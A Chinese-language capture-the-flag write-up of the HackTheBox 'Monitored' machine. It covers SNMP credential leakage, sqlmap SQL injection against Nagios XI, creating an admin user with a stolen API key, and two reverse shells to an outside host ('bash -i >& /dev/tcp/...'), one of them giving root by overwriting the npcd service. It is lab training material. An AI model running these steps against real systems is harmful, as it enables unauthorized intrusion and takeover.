Linux/Monitored

news2024/11/25 14:34:49

Enumeration

nmap

用 nmap 扫描了常见的端口,发现对外开放了 22,80,389,443,5667 端口,端口详细信息如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ nmap -sC -sV -p  22,80,389,443,5667 10.10.11.248
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-12 04:50 EDT
Nmap scan report for 10.10.11.248
Host is up (0.38s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  tcpwrapped
| ssh-hostkey: 
|   3072 61e2e7b41b5d46dc3b2f9138e66dc5ff (RSA)
|   256 2973c5a58daa3f60a94aa3e59f675c93 (ECDSA)
|_  256 6d7af9eb8e45c2026ad58d4db3a3376f (ED25519)
80/tcp   open  tcpwrapped
|_http-title: Did not follow redirect to https://nagios.monitored.htb/
|_http-server-header: Apache/2.4.56 (Debian)
389/tcp  open  tcpwrapped
443/tcp  open  tcpwrapped
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=nagios.monitored.htb/organizationName=Monitored/stateOrProvinceName=Dorset/countryName=UK
| Not valid before: 2023-11-11T21:46:55
|_Not valid after:  2297-08-25T21:46:55
|_http-server-header: Apache/2.4.56 (Debian)
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
5667/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.48 seconds

扫描端口详细信息,发现在 service 处都是 tcpwrapped,这意味着这些服务受到 TCP Wrapper 访问控制列表(ACL)的保护。TCP Wrapper 是一个用于限制网络访问的工具,它基于源 IP 地址或其他因素来决定是否允许连接。22 端口对应着 ssh 服务,80 端口对应着 http,并且提示了域名信息 nagios.monitored.htb,389 端口一般表示的是 ldap 协议,即轻量目录访问协议,443 端口代表 https,但是 nmap 给出的结果显示 400 Bad Request,另外 5667 并不是一个常见的端口

先从 Web 开始,页面左上角写着 Nagios XI,点击 Access Nagios XI 会跳转至登陆页面,搜索发现 Nagios XI 是一个网络监控软件,在网上搜索发现了很多漏洞,目前也并不清楚系统的版本信息,所以先看看别的

nagios.monitored.htb→Nagios XI

但是没有登录用户名口令,无法进入系统,尝试利用 gobuster 扫描一下 Web 目录,发现了 /api/v1/authenticate 目录,访问该接口发现可以认证,需要使用 POST 方式

但同样没有用户名和密码

搜索 nagios 比较新的漏洞,发现这些安全漏洞主要影响到 5.11.1 及更低版本的 Nagios XI。CVE-2023-40931、CVE-2023-40933 和 CVE-2023-40934 漏洞是 SQL 注入问题,网络可利用这几个漏洞提升自身权限,并获取敏感的用户数据,包括密码哈希和 API 令牌。但是搜索发现其中大部分都需要身份验证

ldap 协议也没搞出什么东西,然后想到还有 udp 端口没有扫描,尝试扫描 udp 端口,然后发现了 snmp

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU 10.10.11.248     
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:14 EDT

Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.38s latency).
Not shown: 996 closed udp ports (port-unreach)
PORT    STATE         SERVICE
68/udp  open|filtered dhcpc
123/udp open          ntp
161/udp open          snmp
162/udp open|filtered snmptrap

SNMP - 简单网络管理协议是一种用于监控网络中不同设备(如路由器、交换机、打印机、物联网等)的协议。可以参考 hacktricks 关于 snmp 枚举的内容161,162,10161,10162/udp - 渗透测试 SNMP |黑客技巧 |黑客技巧 (hacktricks.xyz)

首先使用 nmap 针对 snmp 相关脚本扫描了 161 端口,结果如下

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU -p 161 --script "snmp* and not snmp-brute" 10.10.11.248
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-13 04:41 EDT
Nmap scan report for nagios.monitored.htb (10.10.11.248)
Host is up (0.45s latency).

Bug in snmp-win32-software: no string output.
PORT    STATE SERVICE
161/udp open  snmp
| snmp-sysdescr: Linux monitored 5.10.0-27-amd64 #1 SMP Debian 5.10.205-2 (2023-12-31) x86_64
|_  System uptime: 3h38m47.39s (1312739 timeticks)
| snmp-processes: 
|   1: 

|   2: 

 <--snip-->
  
|   219: 
|_  220: 
| snmp-netstat: 
|   TCP  0.0.0.0:22           0.0.0.0:0
|   TCP  0.0.0.0:389          0.0.0.0:0
|   TCP  127.0.0.1:25         0.0.0.0:0
|   TCP  127.0.0.1:3306       0.0.0.0:0
|   TCP  127.0.0.1:5432       0.0.0.0:0
|   TCP  127.0.0.1:7878       0.0.0.0:0
|   TCP  127.0.0.1:34392      127.0.1.1:80
|   TCP  127.0.0.1:34396      127.0.1.1:80
|   UDP  0.0.0.0:68           *:*
|   UDP  0.0.0.0:123          *:*
|   UDP  0.0.0.0:161          *:*
|   UDP  0.0.0.0:162          *:*
|   UDP  10.10.11.248:123     *:*
|_  UDP  127.0.0.1:123        *:*
| snmp-interfaces: 
|   lo
|     IP address: 127.0.0.1  Netmask: 255.0.0.0
|     Type: softwareLoopback  Speed: 10 Mbps
|     Status: up
|     Traffic stats: 1.26 Mb sent, 1.26 Mb received
|   VMware VMXNET3 Ethernet Controller
|     IP address: 10.10.11.248  Netmask: 255.255.254.0
|     MAC address: 005056b91c9a (VMware)
|     Type: ethernetCsmacd  Speed: 4 Gbps
|     Status: up
|_    Traffic stats: 35.26 Mb sent, 13.42 Mb received
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 6f3fa7421af94c6500000000
|   snmpEngineBoots: 35
|_  snmpEngineTime: 3h38m47s

Nmap done: 1 IP address (1 host up) scanned in 57.84 seconds

可以看到目标是一个名为 monitored 的Debian Linux 系统,内核版本为 5.10.0-27-amd64,系统运行时间等,在进程部分没有显示有效的进程 ID 和描述,而在 snmp-info 部分,从上到下依次为,由 net-snmp 项目提供 SNMP引擎;unknow 表示无法识别引擎 ID 格式;引擎 ID 为 6f3fa7421af94c6500000000;SNMP 引擎的重启次数;SNMP引擎自上次启动以来的运行时间

并没有获取到什么关键的信息,尝试使用文章中另一个工具,snmpwalk

┌──(root㉿kali)-[/home/kali/vegetable/HTB/Monitored]
└─# snmpwalk -c public -v 1 -m ALL 10.10.11.248 .1.3.6.1.2.1.25

发现了用户名和密码泄露,svc/XjH7VCehowpR1xZB

尝试使用该用户名密码登录 Web,但是失败了,试一下刚刚扫描出的目录 /api/v1/authenticate,用刚才的方法依然显示用户名错误,在论坛里找了找,发现了帮助解决不安全的登录/后端票证身份验证。- Nagios 支持论坛

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -k -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5'

{
    "username": "svc",
    "user_id": "2",
    "auth_token": "2baff7b4f721ab40fbbbdf6f82864e8cfaf703f7",
    "valid_min": 5,
    "valid_until": "Thu, 14 Mar 2024 03:39:54 -0400"
}

Exploitation

CVE-2023-40931

根据文章内容获得了一个 auth_token,试试能否利用 CVE-2023-40931,加上 token 依然出现错误,但显然和没有 token 时不同

在参数 id 后添加了一个单引号,导致服务报错,在测试时发现,token 只能使用一次,每一次都需要重新生成

因为本身就存在 sql 注入漏洞,简单验证一下就可以了,尝试使用 sqlmap 来自动化注入,每次都需要重新生成一个 token,可以利用管道符将输出传递给 jq 来提取特定数据

┌──(kali㉿kali)-[~]
└─$ curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'
c8506bfe4a11ea4a8a08e99385ea93558b252018

 #使用 -s 可以省略过程信息

然后将这个结果作为参数传递给存在 sql 注入的接口,因为是以 get 方式提交,所以可以使用以下指令来自动化注入

sqlmap -u "https://nagios.monitored.htb/nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -XPOST -ks -L 'http://10.10.11.248/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=5' | jq -r '.auth_token'`" --level 5 --risk 3 -p id --batch

结果如下

接下来就挨着爆破 数据库,表,内容

--dbs
available databases [2]:
[*] information_schema
[*] nagiosxi

--tables -D "nagiosxi"
Database: nagiosxi
[22 tables]
+-----------------------------+
| xi_auditlog                 |
| xi_auth_tokens              |

<--snip-->
 
| xi_users                    |
+-----------------------------+


--dump -T "xi_users"
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | name                 | email               | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | Nagios Administrator | admin@monitored.htb | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | $2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 1710405755   | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 3              | 1701427555           |
| 2       | svc                  | svc@monitored.htb   | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | $2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1699730174   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 3              | 1699697433           |
+---------+----------------------+---------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

获得了管理员的密码 hash,在 hash Analyzer 中分析获得如下结果

使用 hashcat 破解失败了,后来发现可以使用 api_key 来新建一个管理员用户,在论坛add new users to Nagios XI web interface - Nagios Support Forum中发现可以创建一个普通用户,又参考其他人的 wp,发现可以利用 authlevel=admin 来创建一个管理员用户,指令及结果如下

┌──(kali㉿kali)-[~/vegetable/HTB/Monitored]
└─$ curl -k -L -XPOST "https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&pretty=1" -d "username=vegetable&password=vegetable&name=vegetable&email=vegetable@localhost&auth_level=admin"
{
    "success": "User account vegetable was added successfully!",
    "user_id": 6
}

此时,可以凭借创建的用户登录系统

command injection

点击同意,修改密码后,点击 config → core config → commands,在这里可以看到一些命令,也可以添加新命令

在 Online - Reverse Shell Generator (revshells.com) 中找一个反向连接 shell,然后新建一个 command

然后转到 service,导入刚才创建的 command

最后点击页面下方 run check command,但是该 rev_shell 没起作用,按照同样的流程发现可以使用下面的指令来反弹 shell

bash -c 'bash -i >& /dev/tcp/10.10.14.56/4444 0>&1'

在监听端获取到反弹 shell,并升级该 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 37276
bash: cannot set terminal process group (78501): Inappropriate ioctl for device
bash: no job control in this shell
nagios@monitored:~$ which python3
which python3
/usr/bin/python3
nagios@monitored:~$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
nagios@monitored:~$ ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

Privilege Escalation

利用 linpeas.sh 来检查系统漏洞,用 python 开启一个 http 服务,然后在目标主机中下载,并添加执行权限

nagios@monitored:/tmp$ wget http://10.10.14.56:8888/linpeas.sh
--2024-03-14 23:16:44--  http://10.10.14.56:8888/linpeas.sh
Connecting to 10.10.14.56:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 860549 (840K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh          100%[===================>] 840.38K   135KB/s    in 6.2s    

2024-03-14 23:16:51 (135 KB/s) - ‘linpeas.sh’ saved [860549/860549]

nagios@monitored:/tmp$ chmod +x linpeas.sh

找到的一些结果如下,有 npcd 的写入执行权限

所以可以往其中写入反向 shell 连接脚本,然后执行该文件。在 sudo -l 一栏中发现以下内容,nagios 可以不需要密码就以 root 身份执行以下命令

然后一步一步发现 manage_service.sh 可以控制 npcd,查看其状态如下

关闭 npcd 服务,然后修改其内容为反向 shell 连接脚本,在重启 npcd 服务即可获取到反弹 shell,又因为是 root 执行的,所以……

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
nagios@monitored:/usr/local/nagios/bin$ echo '#!/bin/bash' > npcd
nagios@monitored:/usr/local/nagios/bin$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'" >> npcd
nagios@monitored:/usr/local/nagios/bin$ cat npcd
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.56/4445 0>&1'

然后在 kali 中监听 4445 端口,在重新启动 npcd 服务

nagios@monitored:/usr/local/nagios/bin$ sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

在监听端,收到 root shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4445
listening on [any] 4445 ...
connect to [10.10.14.56] from (UNKNOWN) [10.10.11.248] 43260
bash: cannot set terminal process group (105350): Inappropriate ioctl for device
bash: no job control in this shell
root@monitored:/# id
id
uid=0(root) gid=0(root) groups=0(root)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1531283.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

印度金融公司数据遭泄露,泄露数据超过3TB

近期&#xff0c;印度非银行金融公司 IKF Finance 泄露了超过 3 TB 的敏感客户和员工数据&#xff0c;可能会暴露其整个用户群。 Cybernews 研究团队发现&#xff0c;一个配置错误的 MongoDB 实例导致超过 400 万份 IKF Finance 文档被公开。 企业通常使用 MongoDB 来组织和存…

Linux——程序地址空间

我们先来看这样一段代码&#xff1a; #include <stdio.h> #include <unistd.h> #include <stdlib.h>int g_val 0;int main() {pid_t id fork();if(id < 0){perror("fork");return 0;}else if(id 0){ //child,子进程肯定先跑完&#xff0c;也…

时序分解 | Matlab实现GWO-CEEMDAN基于灰狼算法优化CEEMDAN时间序列信号分解

时序分解 | Matlab实现GWO-CEEMDAN基于灰狼算法优化CEEMDAN时间序列信号分解 目录 时序分解 | Matlab实现GWO-CEEMDAN基于灰狼算法优化CEEMDAN时间序列信号分解效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.CEEMDAN方法的分解效果取决于白噪声幅值权重(Nstd)和噪声添…

SpringCloud从入门到精通速成(一)

文章目录 1.认识微服务1.0.学习目标1.1.单体架构1.2.分布式架构1.3.微服务1.4.SpringCloud1.5.总结 2.服务拆分和远程调用2.1.服务拆分原则2.2.服务拆分示例2.2.1.导入Sql语句2.2.2.导入demo工程 2.3.实现远程调用案例2.3.1.案例需求&#xff1a;2.3.2.注册RestTemplate2.3.3.实…

Python爬虫获取接口数据

Python爬虫获取接口数据 正常人的操作​​​​​​​​​​爬虫的思路标题获取请求信息标题请求转换为代码完整代码请求返回信息执行程序获取静态网页数据的教程,适用于我们要爬取的数据在网页源代码中出现,但是还是有很多的数据是源代码中没有的,需要通过接口访问服务器来获…

游戏服务端配置“热更”及“秒启动”终极方案(golang/ygluu/卢益贵)

游戏服务端配置“热更”及“秒启动”终极方案 ygluu 卢益贵 关键词&#xff1a;游戏微服务架构、游戏服务端热更、模块化解耦、golang 目录 一、前言 二、异步线程加载/重载方案 三、配置表碎片化方案 四、指针间接引用 五、重载通知 六、示例代码 七、相关连接 一、…

【CKA模拟题】别再犯难!一文教你用两种方式快速创建Pod!

题干 For this question, please set this context (In exam, diff cluster name) kubectl config use-context kubernetes-adminkubernetesCreate a pod called sleep-pod using the nginx image and also sleep for give any value for seconds. 使用nginx image创建一个名…

探索山海鲸可视化:相较于Excel的独特优势分析

作为一名新用户&#xff0c;我近期开始接触并尝试使用山海鲸可视化工具&#xff0c;这款软件最初吸引我的点在其免费可视化编辑、本地化部署的特点&#xff0c;用了一段时间后&#xff0c;我发现相较于之前使用的Excel来制作可视化看板&#xff0c;两者在多个方面有着显著的区别…

WordPress Plugin NotificationX插件 SQL注入漏洞复现(CVE-2024-1698)

0x01 产品简介 WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 0x02 漏洞概述 WordPress plugin NotificationX是一个应用插件。2.8.2版本及之前 存在安全漏洞,该…

数据库简介与MySQL编译安装

1数据库基础 什么是数据库 数据库&#xff08;Database&#xff09;是一个有组织的数据存储系统&#xff0c;用于有效地存储、检索、管理和维护数据。数据库系统允许用户以结构化的方式存储和操作大量数据&#xff0c;并提供了一种可靠的方法来管理和维护这些数据&#xff0c…

<地球科学专题>机器学习与灾害风险

<地球科学专题>机器学习与灾害风险 南昌大学黄发明副教授同济大学--张东明教授https://www.koushare.com/lives/room/081366 蔻享直播间,稍后会有快速回放。 南昌大学黄发明副教授

Linux--Ubuntu安装

Linux操作系统时程序员必须要学的操作系统。接下来我们就来看一下Linux操作系统是如何安装的 我们在 Vmware 虚拟机中安装 linux 系统&#xff0c;所以需要先安装 vmware 软件&#xff0c;然后再 安装 Linux 系统。 一.所需安装文件&#xff1a; Vmware 下载地址(现在最新版的…

基于Zigbee技术的智能家居系统(附详细使用教程+完整代码+原理图+完整课设报告)

🎊项目专栏:【Zigbee课程设计系列文章】(附详细使用教程+完整代码+原理图+完整课设报告) 前言 👑由于无线传感器网络(也即是Zigbee)作为🌐物联网工程的一门必修专业课,具有很强的实用性,因此很多院校都开设了zigbee的实训课程;👑同时最近很多使用了我的单片机课…

数据库系统概论(超详解!!!) 第四节 关系数据库标准语言SQL(上)

1.SQL概述 SQL&#xff08;Structured Query Language&#xff09;结构化查询语言&#xff0c;是关系数据库的标准语言 SQL是一个通用的、功能极强的关系数据库语言 SQL的动词 基本概念 基本表 &#xff1a;本身独立存在的表&#xff1b; SQL中一个关系就对应一个基本表&am…

【PostGresql】------ pg多表数据多个条件汇总 使用 union 方法示例代码

1. 示例代码如下&#xff1a; SELECT"ID","DT_DATE","CNAME","RMAN_NAME","DEP_NAME","DEP_ID","INVEST_MAN_NAME","TYPE_NAME","INVEST_LEVEL_NAME","POSITION_NAME",…

常用负载均衡详解

一、介绍 在互联网场景下&#xff0c;负载均衡&#xff08;Load Balance&#xff09;是分布式系统架构设计中必须考虑的一个环节&#xff0c;它通常是指将负载流量&#xff08;工作任务、访问请求&#xff09;平衡、分摊到多个操作单元&#xff08;服务器、组件&#xff09;上去…

Sora 发布的意义能和 ChatGPT 相比吗?

个人觉得&#xff0c;Sora 的发布弥补了ChatGPT语言模型在视频内容领域的不足&#xff0c;简单来说&#xff0c;这两个模型均有自己的优势&#xff0c;ChatGPT是一种语言模型&#xff0c;可以理解和解释自然语言&#xff0c;而Sora是文字到视频转化的应用&#xff0c;将文本内容…

Transformer的前世今生 day04(ELMO、Attention注意力机制)

ELMO 前情回顾 NNLM模型&#xff1a;主要任务是在预测下一个词&#xff0c;副产品是词向量Word2Vec模型&#xff1a;主要任务是生成词向量 CBOW&#xff1a;训练目标是根据上下文预测目标词Skip-gram&#xff1a;训练目标是根据目标词预测上下文词 ELMO模型的流程 针对Wor…

ArmSoM Rockchip系列产品 通用教程 之 RTC 使用

1. RTC 简介​ RTC&#xff1a;(Real_Time Clock)&#xff1a;实时时钟 HYM8563是一种低功耗实时时钟&#xff08;RTC&#xff09;芯片&#xff0c;用于提供精确的时间和日期信息。它提供一个可编程的时钟输出&#xff0c;一个中断输出和一个掉电检测器&#xff0c;所有的地址…

HTML实现卷轴动画完整源码附注释

动画效果截图 页面的html结构代码 <!DOCTYPE html> <html> <head lang=